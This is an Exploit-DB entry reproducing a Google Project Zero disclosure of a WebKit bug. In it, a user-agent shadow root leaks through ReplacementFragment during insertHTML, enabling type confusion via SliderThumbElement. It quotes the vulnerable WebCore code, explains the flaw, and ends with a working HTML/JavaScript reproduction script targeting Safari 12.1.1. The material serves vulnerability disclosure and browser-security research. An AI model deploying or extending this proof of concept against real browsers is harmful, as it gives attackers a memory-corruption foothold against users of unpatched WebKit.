Exploit-DB #47452
Description: WebKit - User-agent Shadow root Leak in WebCore::ReplacementFragment::ReplacementFragment
Type: dos
Platform: multiple
Date: 2019-10-01
Author: Google Security Research

Exploit:
<!--
VULNERABILITY DETAILS
editing/ReplaceSelectionCommnd.cpp:
```
Ref<HTMLElement> ReplacementFragment::insertFragmentForTestRendering(Node* rootEditableElement)
{
    auto holder = createDefaultParagraphElement(document());

    holder->appendChild(*m_fragment);
    rootEditableElement->appendChild(holder); // ***2***
    document().updateLayoutIgnorePendingStylesheets();

    return holder;
}

[...]

ReplacementFragment::ReplacementFragment(Document& document, DocumentFragment* fragment, const VisibleSelection& selection)
    : m_document(&document)
    , m_fragment(fragment)
    , m_hasInterchangeNewlineAtStart(false)
    , m_hasInterchangeNewlineAtEnd(false)
{
    if (!m_fragment)
        return;
    if (!m_fragment->firstChild())
        return;
    
    RefPtr<Element> editableRoot = selection.rootEditableElement(); // ***1***
    ASSERT(editableRoot);
    if (!editableRoot)
        return;   
[...]
    RefPtr<StyledElement> holder = insertFragmentForTestRendering(editableRoot.get());
```

html/shadow/SliderThumbElement.cpp
```
RefPtr<HTMLInputElement> SliderThumbElement::hostInput() const
{
    // Only HTMLInputElement creates SliderThumbElement instances as its shadow nodes.
    // So, shadowHost() must be an HTMLInputElement.
    return downcast<HTMLInputElement>(shadowHost()); // ***3***
}
```

I noticed this behavior when I was debugging the test case for
https://bugs.webkit.org/show_bug.cgi?id=199146. When the currently focused element is an <input>,
`selection.rootEditableElement()` in [1] might point to a node inside the <input>'s user-agent
shadow DOM tree. Then `insertFragmentForTestRendering` is called, which might have side effects,
e.g., if the inserted fragment contains an <iframe> element its "onload" handler will be called
synchronously, and it's possible to reach the user-agent shadow root object by following the
ancestor chain from the <iframe>.

When an attacker has access to the shadow root, she can use it to leak other elements that are only
intended for internal use and have less strict security checks. For example, `SliderThumbElement`
doesn't check that its host element is an <iframe> in [3], so the attacker can turn this bug into a
type confusion vulnerability.


VERSION
WebKit revision 246194
Safari version 12.1.1 (14607.2.6.1.1)


REPRODUCTION CASE
-->

<body>
<script>
input = document.body.appendChild(document.createElement('input'));
input.focus();
handler = event => {
  shadow_root = event.target.parentNode.parentNode.parentNode;
  input.type = 'range';
  elt = shadow_root.firstChild.firstChild.firstChild;
  input.remove();
  elt.remove();
  evt = new MouseEvent('mouseup');
  div = document.createElement('div');
  new_shadow_root = div.attachShadow({mode: 'open'});
  new_shadow_root.appendChild(elt);
  elt.dispatchEvent(evt);
}
document.execCommand('insertHTML', false, '<iframe src="about:blank" onload="handler(event)"></iframe>');
</script>
</body>


<!--
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
-->